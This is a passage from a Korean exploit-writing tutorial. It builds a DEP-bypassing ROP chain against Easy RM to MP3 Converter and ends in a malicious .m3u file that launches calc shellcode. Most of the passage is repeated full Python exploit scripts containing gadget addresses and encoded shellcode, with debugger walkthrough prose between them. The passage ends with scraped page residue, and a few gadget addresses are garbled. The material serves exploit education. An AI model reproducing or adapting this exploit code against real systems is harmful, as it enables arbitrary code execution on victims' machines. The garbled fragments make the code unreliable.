21 # ESI <-> EDI rop += struct.pack('<l', 0x f) # XCHG ESI,EDI # DEC ECX # RETN 0x04 # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # POP ESI 패딩 nops1 = "\x90" * 200 calc = "\x89\xe2\xda\xc3\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43 \x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32 \x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4f\x4e\x68\ x58\x49\x67\x59\x34\x58\x38\x6a\x7a\x49\x4b\x78\x59\x42\x54\x55\x74\x6c\x34\x66\x38\ x65\x63\x6b\x79\x6c\x71\x34\x71\x4f\x73\x79\x50\x66\x64\x55\x61\x30\x70\x34\x4f\x54\x 43\x62\x50\x78\x57\x72\x35\x42\x71\x67\x34\x34\x4f\x33\x6b\x4c\x5a\x38\x35\x78\x4f\x3 5\x6c\x52\x32\x76\x30\x49\x6e\x51\x6c\x37\x30\x56\x70\x32\x70\x70\x4d\x43\x32\x62\x5 4\x31\x4c\x37\x56\x43\x76\x50\x6d\x68\x57\x73\x7a\x50\x4f\x4f\x72\x52\x70\x59\x70\x6d \x79\x4c\x6d\x75\x31\x32\x79\x6b\x39\x4e\x4c\x68\x61\x39\x30\x39\x4e\x36\x6e\x48\x58 \x73\x5a\x37\x63\x50\x4e\x37\x6d\x6f\x66\x4b\x6e\x46\x62\x48\x76\x69\x4c\x52\x6d\x38\ x33\x33\x43\x6e\x48\x50\x4d\x47\x48\x6a\x6f\x67\x4c\x49\x46\x39\x4d\x4e\x67\x75\x6f\x 6a\x57\x64\x33\x6f\x6c\x36\x79\x69\x47\x33\x42\x51\x61\x47\x62\x43\x6e\x72\x4d\x6a\x 36\x77\x6f\x75\x78\x45\x56\x72\x4c\x48\x6b\x6e\x4b\x5a\x6e\x4d\x6d\x75\x44\x56\x67\x 54\x6f\x70\x72\x7a\x47\x36\x39\x34\x37\x4f\x44\x62\x38\x74\x6c\x6d\x51\x48\x47\x39\x3 5\x54\x77\x31\x46\x6f\x4a\x31\x61\x6f\x4d\x30\x4d\x47\x6c\x48\x71\x42\x45\x6f\x5a\x4f\ x6d\x69\x46\x4c\x30\x65\x69\x4c\x51\x5a\x33\x54\x37\x71\x75\x4e\x55\x56\x42\x43\x6b\ x65\x4d\x6a\x61\x4e\x4f\x31\x4a\x4b\x42\x47\x30\x4a\x4b\x62\x58\x49\x46\x73\x39\x4c\ x6f\x39\x71\x50\x4f\x4b\x47\x35\x4e\x37\x6d\x6e\x6f\x43\x68\x6b\x4e\x4f\x4b\x39\x4b\x3 3\x44\x4a\x4b\x58\x31\x4e\x61\x32\x32\x59\x7a\x77\x34\x6d\x6c\x66\x30\x5a\x4c\x33\x6 6\x6f\x4f\x7a\x64\x6d\x55\x53\x57\x64\x74\x6c\x4b\x5a\x72\x73\x47\x6d\x4f\x4b\x58\x34 \x6d\x50\x32\x6e\x62\x76\x38\x6f\x56\x6f\x6b\x56\x36\x6e\x39\x4e\x4b\x45\x4b\x6e\x6d\ x77\x6d\x78\x52\x4f\x6f\x71\x34\x49\x4d\x71\x31\x6d\x6f\x30\x4c\x4a\x78\x70\x6e\x46\x 67\x4d\x6c\x6c\x50\x69\x6f\x49\x72\x49\x52\x53\x37\x69\x6f\x54\x66\x49\x31\x4b\x76\x4 d\x43\x4c\x6b\x56\x68\x42\x4d\x76\x74\x33\x79\x76\x35\x41\x41" nops2 = "C" * 300 payload = junk1 + eip + junk2 + edx + rop + nops1 + calc + nops2 f = open("rop_ex5.m3u", "wb") f.write(payload) f.close()

22 이번에도기존과동일하게 m3u 파일을생성하고 RETN 명령어주소에 BP 를설정 한다. 그리고익스플로잇코드의 ADD ESP,0C POP EDI,ESI,EBX RETN 가젯의 RETN 명령어까지진행한다. 리턴이되면스택포인터가저장된 EAX 레지스터값을스택에 PUSH 하고바로 EDI 레지스터에 POP 하는가젯으로이동된다. 해당가젯의실행이완료되고리턴되기 직전을보면 EAX,EDI 레지스터에스택포인터가저장되게된다. 그리고리턴되면 EAX+=100 가젯으로이동된다. 리턴되기직전의 EAX 값을보면 0010FE44 임을알수있고, 실제로해당주소는스택에삽입된쉘코드의주소 보다조금이전인것을알수있다. ( 쉘코드주소 =0010FE50) 이전가젯에서리턴되면 ESI/EDI 레지스터값이서로변경되는가젯으로이동된다. 가젯이실행되기전에는 EDI 레지스터에스택포인터값이존재했기때문에, 실행이완료되면 ESI 레지스터에스택포인터값이존재하게된다. 따라서현재레지스터의값은 EAX 쉘코드주소 ( 보다약간뒤 ), ESI 스택포인터 가된다.

23 리턴되면위가젯으로이동된다. 현재 ESI 레지스터에는스택포인터가저장되어 있기때문에 [ESI+10] 은 0010FD54 가된다. 해당주소는다음사진에서보듯이함수의 첫번째인자주소이다. 가젯의실행이모두종료되면결국함수의첫번째인자주소는다음처럼쉘코드 주소가들어가게된다. 성공적으로첫번째인자를위한 ROP 코드를작성했으니이제두번째인자차례이다. 두번째인자는보호수준이실행가능으로바뀐영역의시작주소를가리켜야하기때문에결국첫번째인자와동일한쉘코드주소를의미한다. 따라서첫번째인자의 ROP 코드와비슷하게만들면된다. 다행히 EAX 레지스터에초기에저장된스택포인터값이있기때문에해당레지스터를이용하면된다. 첫번째인자코드때와마찬가지로스택포인터를 2 개의레지스터에저장해야 한다. 이를위해 EAX 값을 ESI 에저장해주는가젯을이용할것이다. 0x76a6177f : # PUSH EAX # POP ESI # RETN

24 그리고이전처럼쉘코드위치를지정해주는가젯과, 해당값을두번째인자위치에 넣는가젯이필요하다. 일단쉘코드위치가젯은기존에사용한걸그대로사용한다. 0x1002dc4c : # ADD EAX,100 # POP EBP # RETN 그리고두번째인자는첫번째인자의위치 (ESI+10) 보다 4 바이트큰곳에위치 하기때문에, 미리 ESI 값을 +4 한뒤, 기존에사용했던가젯을사용하면된다. 0x7e953b60 : # INC ESI # RETN <- 4 번수행 패딩필요 0x76e81b3a : # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN 위가젯을포함하는익스플로잇코드는다음과같다. #coding:utf-8 import struct junk1 = "A" * eip = struct.pack('<l', 0x1002A21E) # retn 명령어 junk2 = "AAAA" # 패딩 # edx 사용가능하게변경 edx = "" edx += struct.pack('<l', 0x1001bf0d) # ADC EDX,ESI # POP ESI # RETN edx += "AAAA" # ESI = ESP rop = "" rop += struct.pack('<l', 0x1002e892) # PUSH ESP # AND AL,10 # POP ESI # MOV DWORD PTR DS:[EDX],ECX # RETN # EAX = ESI rop += struct.pack('<l', 0x1002e428) # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # pop esi 패딩 # VirtualProtect() 뛰어넘기위한코드 rop += struct.pack('<l', 0x10018ec0) # ADD ESP,0C # POP EDI # POP ESI # POP EBX # RETN

25 # ROP - VirtualProtect 코드 rop += struct.pack('<l', 0x7C7D1AD4) # 실제주소 rop += "WWWW" # return addr - param 1 rop += "XXXX" # lpaddr - param 2 rop += "YYYY" # size - param3 rop += "ZZZZ" # flnewprotect - param4 rop += struct.pack('<l', 0x10069d37) # writable add # ROP2 - VirtualProtect_param1_retun_address # EAX -> EDI rop += struct.pack('<l', 0x100128f7) # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN rop += "AAAA" * 2 # POP ESI/EBI 패딩 # EAX += 100 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩 # ESI <-> EDI rop += struct.pack('<l', 0x f) # XCHG ESI,EDI # DEC ECX # RETN 0x04 # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" * 2 # POP ESI, RETN 패딩 # ROP3 - VirtualProtect_param2_lpaddress # EAX -> ESI rop += struct.pack('<l', 0x76a6177f) # PUSH EAX # POP ESI # RETN # EAX += 100 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP

26 # INC ESI * 4 # INC ESI # RETN # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # POP ESI 패딩 nops1 = "\x90" * 200 calc = "\x89\xe2\xda\xc3\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\ x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\ x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4f\x4e\x68\x 58\x49\x67\x59\x34\x58\x38\x6a\x7a\x49\x4b\x78\x59\x42\x54\x55\x74\x6c\x34\x66\x38\x 65\x63\x6b\x79\x6c\x71\x34\x71\x4f\x73\x79\x50\x66\x64\x55\x61\x30\x70\x34\x4f\x54\x4 3\x62\x50\x78\x57\x72\x35\x42\x71\x67\x34\x34\x4f\x33\x6b\x4c\x5a\x38\x35\x78\x4f\x35\ x6c\x52\x32\x76\x30\x49\x6e\x51\x6c\x37\x30\x56\x70\x32\x70\x70\x4d\x43\x32\x62\x54\x 31\x4c\x37\x56\x43\x76\x50\x6d\x68\x57\x73\x7a\x50\x4f\x4f\x72\x52\x70\x59\x70\x6d\x7 9\x4c\x6d\x75\x31\x32\x79\x6b\x39\x4e\x4c\x68\x61\x39\x30\x39\x4e\x36\x6e\x48\x58\x7 3\x5a\x37\x63\x50\x4e\x37\x6d\x6f\x66\x4b\x6e\x46\x62\x48\x76\x69\x4c\x52\x6d\x38\x33 \x33\x43\x6e\x48\x50\x4d\x47\x48\x6a\x6f\x67\x4c\x49\x46\x39\x4d\x4e\x67\x75\x6f\x6a\x 57\x64\x33\x6f\x6c\x36\x79\x69\x47\x33\x42\x51\x61\x47\x62\x43\x6e\x72\x4d\x6a\x36\x7 7\x6f\x75\x78\x45\x56\x72\x4c\x48\x6b\x6e\x4b\x5a\x6e\x4d\x6d\x75\x44\x56\x67\x54\x6f\ x70\x72\x7a\x47\x36\x39\x34\x37\x4f\x44\x62\x38\x74\x6c\x6d\x51\x48\x47\x39\x35\x54\x 77\x31\x46\x6f\x4a\x31\x61\x6f\x4d\x30\x4d\x47\x6c\x48\x71\x42\x45\x6f\x5a\x4f\x6d\x69 \x46\x4c\x30\x65\x69\x4c\x51\x5a\x33\x54\x37\x71\x75\x4e\x55\x56\x42\x43\x6b\x65\x4d\ x6a\x61\x4e\x4f\x31\x4a\x4b\x42\x47\x30\x4a\x4b\x62\x58\x49\x46\x73\x39\x4c\x6f\x39\x 71\x50\x4f\x4b\x47\x35\x4e\x37\x6d\x6e\x6f\x43\x68\x6b\x4e\x4f\x4b\x39\x4b\x33\x44\x4a \x4b\x58\x31\x4e\x61\x32\x32\x59\x7a\x77\x34\x6d\x6c\x66\x30\x5a\x4c\x33\x66\x6f\x4f\x 7a\x64\x6d\x55\x53\x57\x64\x74\x6c\x4b\x5a\x72\x73\x47\x6d\x4f\x4b\x58\x34\x6d\x50\x3 2\x6e\x62\x76\x38\x6f\x56\x6f\x6b\x56\x36\x6e\x39\x4e\x4b\x45\x4b\x6e\x6d\x77\x6d\x78\ x52\x4f\x6f\x71\x34\x49\x4d\x71\x31\x6d\x6f\x30\x4c\x4a\x78\x70\x6e\x46\x67\x4d\x6c\x6 c\x50\x69\x6f\x49\x72\x49\x52\x53\x37\x69\x6f\x54\x66\x49\x31\x4b\x76\x4d\x43\x4c\x6b\ x56\x68\x42\x4d\x76\x74\x33\x79\x76\x35\x41\x41" nops2 = "C" * 300 payload = junk1 + eip + junk2 + edx + rop + nops1 + calc + nops2

27 f = open("rop_ex6.m3u", "wb") f.write(payload) f.close() 기존과동일하게 m3u 파일생성, RETN 명령어 BP 설정, 분석작업을시작한다. 쭉쭉실행하다보면위와같은가젯까지이동된다. 첫번째인자코드에서값을복사하기위해사용했던가젯이지만지금은가젯이전에 INC ESI * 4번의명령어를실행했기때문에 ESI 레지스터값이 [ 스택포인터 +14] 라고할수있다. 즉두번째인자의주소이다. 여기까지별문제없이진행되었다면세번째인자 ROP 코드를작성할차례이다. 참고로사용하는가젯이비슷하기때문에네번째인자 ROP 코드까지한번에작성할것이다. 일단각각의인자들은다음과같은의미와값을가진다. 3 실행할메모리영역의크기 ( 쉘코드크기 실습에서는대충 400 사용 ) 4 대상메모리영역의새로운보호수준 ( 40 사용 ) 일단세번째인자를위한 ROP 가젯을모아보면다음과같다. 0x76a6177f : # PUSH EAX # POP ESI # RETN 0x7d : # XOR EAX,EAX # RETN 0x1002dc4c : # ADD EAX,100 # POP EBP # RETN 4 번수행

28 0x7e953b60 : # INC ESI # RETN 4 번수행 0x76e81b3a : # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN 가젯 1 EAX( 스택포인터 ) 값을 ESI 레지스터에저장가젯 2 - EAX 레지스터초기화가젯 3 EAX 레지스터값 = 400, 패딩필요가젯 4 ESI 레지스터값 += 4 ==> 세번째인자는두번째인자주소의 +4 주소가젯 5 세번째인자의주소에 0x400 복사 참고로네번째인자역시하나의가젯만제외하고모두동일하다. 세번째인자 가젯을그대로사용하되, 가젯 3 을다음가젯으로변경한다. 0x7c9a4ed8 : # ADD EAX,40 # POP EBP # RETN 위가젯들을포함하는익스플로잇코드는다음과같다. #coding:utf-8 import struct junk1 = "A" * eip = struct.pack('<l', 0x1002A21E) # retn 명령어 junk2 = "AAAA" # 패딩 # edx 사용가능하게변경 edx = "" edx += struct.pack('<l', 0x1001bf0d) # ADC EDX,ESI # POP ESI # RETN edx += "AAAA" # ESI = ESP rop = "" rop += struct.pack('<l', 0x1002e892) # PUSH ESP # AND AL,10 # POP ESI # MOV DWORD PTR DS:[EDX],ECX # RETN # EAX = ESI rop += struct.pack('<l', 0x1002e428) # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # pop esi 패딩 # VirtualProtect() 뛰어넘기위한코드 rop += struct.pack('<l', 0x10018ec0) # ADD ESP,0C # POP EDI # POP ESI # POP EBX # RETN

29 # ROP - VirtualProtect 코드 rop += struct.pack('<l', 0x7C7D1AD4) # 실제주소 rop += "WWWW" # return addr - param 1 rop += "XXXX" # lpaddr - param 2 rop += "YYYY" # size - param3 rop += "ZZZZ" # flnewprotect - param4 rop += struct.pack('<l', 0x10069d37) # writable add # ROP2 - VirtualProtect_param1_retun_address # EAX -> EDI rop += struct.pack('<l', 0x100128f7) # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN rop += "AAAA" * 2 # POP ESI/EBI 패딩 # EAX += 100 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩 # ESI <-> EDI rop += struct.pack('<l', 0x f) # XCHG ESI,EDI # DEC ECX # RETN 0x04 # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" * 2 # POP ESI, RETN 패딩 # ROP3 - VirtualProtect_param2_lpaddress # EAX -> ESI rop += struct.pack('<l', 0x76a6177f) # PUSH EAX # POP ESI # RETN # EAX += 100 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩 # INC ESI * 4 # INC ESI # RETN

30 # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # POP ESI 패딩 # ROP4 - VirtualProtect_param3_size # EAX -> ESI rop += struct.pack('<l', 0x76a6177f) # PUSH EAX # POP ESI # RETN # EAX = 0 rop += struct.pack('<l', 0x7d700907) # XOR EAX,EAX # RETN # EAX += 100 * 4 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩 rop += struct.pack('<l', 0x1002dc4c) rop += "AAAA" rop += struct.pack('<l', 0x1002dc4c) rop += "AAAA" rop += struct.pack('<l', 0x1002dc4c) rop += "AAAA" # INC ESI * 4 # INC ESI # RETN # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # POP ESI 패딩 # ROP5 - VirtualProtect_param4_flNewProtect # EAX -> ESI rop += struct.pack('<l', 0x76a6177f) # PUSH EAX # POP ESI # RETN

31 # EAX = 0 rop += struct.pack('<l', 0x7d700907) # XOR EAX,EAX # RETN # EAX = 40 rop += struct.pack('<l', 0x7c9a4ed8) # ADD EAX,40 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩 # INC ESI * 4 # INC ESI # RETN # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # POP ESI 패딩 nops1 = "\x90" * 200 calc = "\x89\xe2\xda\xc3\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43 \x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32 \x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4f\x4e\x68\ x58\x49\x67\x59\x34\x58\x38\x6a\x7a\x49\x4b\x78\x59\x42\x54\x55\x74\x6c\x34\x66\x38\ x65\x63\x6b\x79\x6c\x71\x34\x71\x4f\x73\x79\x50\x66\x64\x55\x61\x30\x70\x34\x4f\x54\x 43\x62\x50\x78\x57\x72\x35\x42\x71\x67\x34\x34\x4f\x33\x6b\x4c\x5a\x38\x35\x78\x4f\x3 5\x6c\x52\x32\x76\x30\x49\x6e\x51\x6c\x37\x30\x56\x70\x32\x70\x70\x4d\x43\x32\x62\x5 4\x31\x4c\x37\x56\x43\x76\x50\x6d\x68\x57\x73\x7a\x50\x4f\x4f\x72\x52\x70\x59\x70\x6d \x79\x4c\x6d\x75\x31\x32\x79\x6b\x39\x4e\x4c\x68\x61\x39\x30\x39\x4e\x36\x6e\x48\x58 \x73\x5a\x37\x63\x50\x4e\x37\x6d\x6f\x66\x4b\x6e\x46\x62\x48\x76\x69\x4c\x52\x6d\x38\ x33\x33\x43\x6e\x48\x50\x4d\x47\x48\x6a\x6f\x67\x4c\x49\x46\x39\x4d\x4e\x67\x75\x6f\x 6a\x57\x64\x33\x6f\x6c\x36\x79\x69\x47\x33\x42\x51\x61\x47\x62\x43\x6e\x72\x4d\x6a\x 36\x77\x6f\x75\x78\x45\x56\x72\x4c\x48\x6b\x6e\x4b\x5a\x6e\x4d\x6d\x75\x44\x56\x67\x 54\x6f\x70\x72\x7a\x47\x36\x39\x34\x37\x4f\x44\x62\x38\x74\x6c\x6d\x51\x48\x47\x39\x3 5\x54\x77\x31\x46\x6f\x4a\x31\x61\x6f\x4d\x30\x4d\x47\x6c\x48\x71\x42\x45\x6f\x5a\x4f\ x6d\x69\x46\x4c\x30\x65\x69\x4c\x51\x5a\x33\x54\x37\x71\x75\x4e\x55\x56\x42\x43\x6b\ x65\x4d\x6a\x61\x4e\x4f\x31\x4a\x4b\x42\x47\x30\x4a\x4b\x62\x58\x49\x46\x73\x39\x4c\ x6f\x39\x71\x50\x4f\x4b\x47\x35\x4e\x37\x6d\x6e\x6f\x43\x68\x6b\x4e\x4f\x4b\x39\x4b\x3 3\x44\x4a\x4b\x58\x31\x4e\x61\x32\x32\x59\x7a\x77\x34\x6d\x6c\x66\x30\x5a\x4c\x33\x6 6\x6f\x4f\x7a\x64\x6d\x55\x53\x57\x64\x74\x6c\x4b\x5a\x72\x73\x47\x6d\x4f\x4b\x58\x34 \x6d\x50\x32\x6e\x62\x76\x38\x6f\x56\x6f\x6b\x56\x36\x6e\x39\x4e\x4b\x45\x4b\x6e\x6d\ x77\x6d\x78\x52\x4f\x6f\x71\x34\x49\x4d\x71\x31\x6d\x6f\x30\x4c\x4a\x78\x70\x6e\x46\x 67\x4d\x6c\x6c\x50\x69\x6f\x49\x72\x49\x52\x53\x37\x69\x6f\x54\x66\x49\x31\x4b\x76\x4 d\x43\x4c\x6b\x56\x68\x42\x4d\x76\x74\x33\x79\x76\x35\x41\x41"

32 nops2 = "C" * 300 payload = junk1 + eip + junk2 + edx + rop + nops1 + calc + nops2 f = open("rop_ex7.m3u", "wb") f.write(payload) f.close() m3u 파일을생성하고분석을하면다음과같이모든인자값들이정상적으로수정된것을볼수있다. 네번째인자의마지막가젯의실행이완료되면우측하단에서보는것처럼모든 인자가정상적으로수정된것을볼수있다. 이제 ROP 코드작성에있어마지막으로 해야할일은 VirtualProtect() 함수를호출하는것이다. 위사진의스택창에서보면 VirtualProtect 함수의주소가 0010FD50 인것을 볼수있는데운좋게도 EAX 레지스터에서해당주소를가리키고있다. 따라서 EAX 값을 ESP 로복사하고 RETN 명령어를실행하면해당함수를호출하게된다. 0x77e4a888 : # XCHG EAX,ESP # RETN 모든인자를수정하고, 수정한인자를취하는 VirtualProtect 함수를호출하는가젯 까지추가한최종익스플로잇코드는다음과같다.

33 #coding:utf-8 import struct junk1 = "A" * eip = struct.pack('<l', 0x1002A21E) # retn 명령어 junk2 = "AAAA" # 패딩 # edx 사용가능하게변경 edx = "" edx += struct.pack('<l', 0x1001bf0d) # ADC EDX,ESI # POP ESI # RETN edx += "AAAA" # ESI = ESP rop = "" rop += struct.pack('<l', 0x1002e892) # PUSH ESP # AND AL,10 # POP ESI # MOV DWORD PTR DS:[EDX],ECX # RETN # EAX = ESI rop += struct.pack('<l', 0x1002e428) # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # pop esi 패딩 # VirtualProtect() 뛰어넘기위한코드 rop += struct.pack('<l', 0x10018ec0) # ADD ESP,0C # POP EDI # POP ESI # POP EBX # RETN # ROP - VirtualProtect 코드 rop += struct.pack('<l', 0x7C7D1AD4) # 실제주소 rop += "WWWW" # return addr - param 1 rop += "XXXX" # lpaddr - param 2 rop += "YYYY" # size - param3 rop += "ZZZZ" # flnewprotect - param4 rop += struct.pack('<l', 0x10069d37) # writable add => 다음페이지계속

34 # ROP2 - VirtualProtect_param1_retun_address # EAX -> EDI rop += struct.pack('<l', 0x100128f7) # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN rop += "AAAA" * 2 # POP ESI/EBI 패딩 # EAX += 100 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩 # ESI <-> EDI rop += struct.pack('<l', 0x f) # XCHG ESI,EDI # DEC ECX # RETN 0x04 # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" * 2 # POP ESI, RETN 패딩 # ROP3 - VirtualProtect_param2_lpaddress # EAX -> ESI rop += struct.pack('<l', 0x76a6177f) # PUSH EAX # POP ESI # RETN # EAX += 100 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩 # INC ESI * 4 # INC ESI # RETN # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # POP ESI 패딩

35 # ROP4 - VirtualProtect_param3_size # EAX -> ESI rop += struct.pack('<l', 0x76a6177f) # PUSH EAX # POP ESI # RETN # EAX = 0 rop += struct.pack('<l', 0x7d700907) # XOR EAX,EAX # RETN # EAX += 100 * 4 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩 rop += struct.pack('<l', 0x1002dc4c) rop += "AAAA" rop += struct.pack('<l', 0x1002dc4c) rop += "AAAA" rop += struct.pack('<l', 0x1002dc4c) rop += "AAAA" # INC ESI * 4 # INC ESI # RETN # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # POP ESI 패딩 # ROP5 - VirtualProtect_param4_flNewProtect # EAX -> ESI rop += struct.pack('<l', 0x76a6177f) # PUSH EAX # POP ESI # RETN # EAX = 0 rop += struct.pack('<l', 0x7d700907) # XOR EAX,EAX # RETN # EAX = 40 rop += struct.pack('<l', 0x7c9a4ed8) # ADD EAX,40 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩

36 # INC ESI * 4 # INC ESI # RETN # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # POP ESI 패딩 # ROP6 - JMP to VirtualProtect rop += struct.pack('<l', 0x77e4a888) # XCHG EAX,ESP # RETN nops1 = "\x90" * 200 calc = "\x89\xe2\xda\xc3\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43 \x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\ x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4f\x4e\x68\x 58\x49\x67\x59\x34\x58\x38\x6a\x7a\x49\x4b\x78\x59\x42\x54\x55\x74\x6c\x34\x66\x38\x 65\x63\x6b\x79\x6c\x71\x34\x71\x4f\x73\x79\x50\x66\x64\x55\x61\x30\x70\x34\x4f\x54\x4 3\x62\x50\x78\x57\x72\x35\x42\x71\x67\x34\x34\x4f\x33\x6b\x4c\x5a\x38\x35\x78\x4f\x35 \x6c\x52\x32\x76\x30\x49\x6e\x51\x6c\x37\x30\x56\x70\x32\x70\x70\x4d\x43\x32\x62\x54\ x31\x4c\x37\x56\x43\x76\x50\x6d\x68\x57\x73\x7a\x50\x4f\x4f\x72\x52\x70\x59\x70\x6d\x 79\x4c\x6d\x75\x31\x32\x79\x6b\x39\x4e\x4c\x68\x61\x39\x30\x39\x4e\x36\x6e\x48\x58\x 73\x5a\x37\x63\x50\x4e\x37\x6d\x6f\x66\x4b\x6e\x46\x62\x48\x76\x69\x4c\x52\x6d\x38\x3 3\x33\x43\x6e\x48\x50\x4d\x47\x48\x6a\x6f\x67\x4c\x49\x46\x39\x4d\x4e\x67\x75\x6f\x6a\ x57\x64\x33\x6f\x6c\x36\x79\x69\x47\x33\x42\x51\x61\x47\x62\x43\x6e\x72\x4d\x6a\x36\x 77\x6f\x75\x78\x45\x56\x72\x4c\x48\x6b\x6e\x4b\x5a\x6e\x4d\x6d\x75\x44\x56\x67\x54\x6 f\x70\x72\x7a\x47\x36\x39\x34\x37\x4f\x44\x62\x38\x74\x6c\x6d\x51\x48\x47\x39\x35\x54 \x77\x31\x46\x6f\x4a\x31\x61\x6f\x4d\x30\x4d\x47\x6c\x48\x71\x42\x45\x6f\x5a\x4f\x6d\x 69\x46\x4c\x30\x65\x69\x4c\x51\x5a\x33\x54\x37\x71\x75\x4e\x55\x56\x42\x43\x6b\x65\x 4d\x6a\x61\x4e\x4f\x31\x4a\x4b\x42\x47\x30\x4a\x4b\x62\x58\x49\x46\x73\x39\x4c\x6f\x3 9\x71\x50\x4f\x4b\x47\x35\x4e\x37\x6d\x6e\x6f\x43\x68\x6b\x4e\x4f\x4b\x39\x4b\x33\x44\ x4a\x4b\x58\x31\x4e\x61\x32\x32\x59\x7a\x77\x34\x6d\x6c\x66\x30\x5a\x4c\x33\x66\x6f\x 4f\x7a\x64\x6d\x55\x53\x57\x64\x74\x6c\x4b\x5a\x72\x73\x47\x6d\x4f\x4b\x58\x34\x6d\x5 0\x32\x6e\x62\x76\x38\x6f\x56\x6f\x6b\x56\x36\x6e\x39\x4e\x4b\x45\x4b\x6e\x6d\x77\x6d \x78\x52\x4f\x6f\x71\x34\x49\x4d\x71\x31\x6d\x6f\x30\x4c\x4a\x78\x70\x6e\x46\x67\x4d\x 6c\x6c\x50\x69\x6f\x49\x72\x49\x52\x53\x37\x69\x6f\x54\x66\x49\x31\x4b\x76\x4d\x43\x4 c\x6b\x56\x68\x42\x4d\x76\x74\x33\x79\x76\x35\x41\x41"

37 nops2 = "C" * 300 payload = junk1 + eip + junk2 + edx + rop + nops1 + calc + nops2 f = open("rop_ex8.m3u", "wb") f.write(payload) f.close() m3u 파일을생성하고 Easy RM to MP3 Converter 를실행한뒤디버거에 attach 하지않고생성된 m3u 파일을실행하면계산기가정상적으로실행된다. 참고자료 1. [ 원문 ] Exploit Writing Tutorial 10 Chaining DEP with ROP by Corelan 2. [ 번역 ] 공격코드작성따라하기 10 ROP - 한국정보보호교육센터서준석

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드 취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...

More information

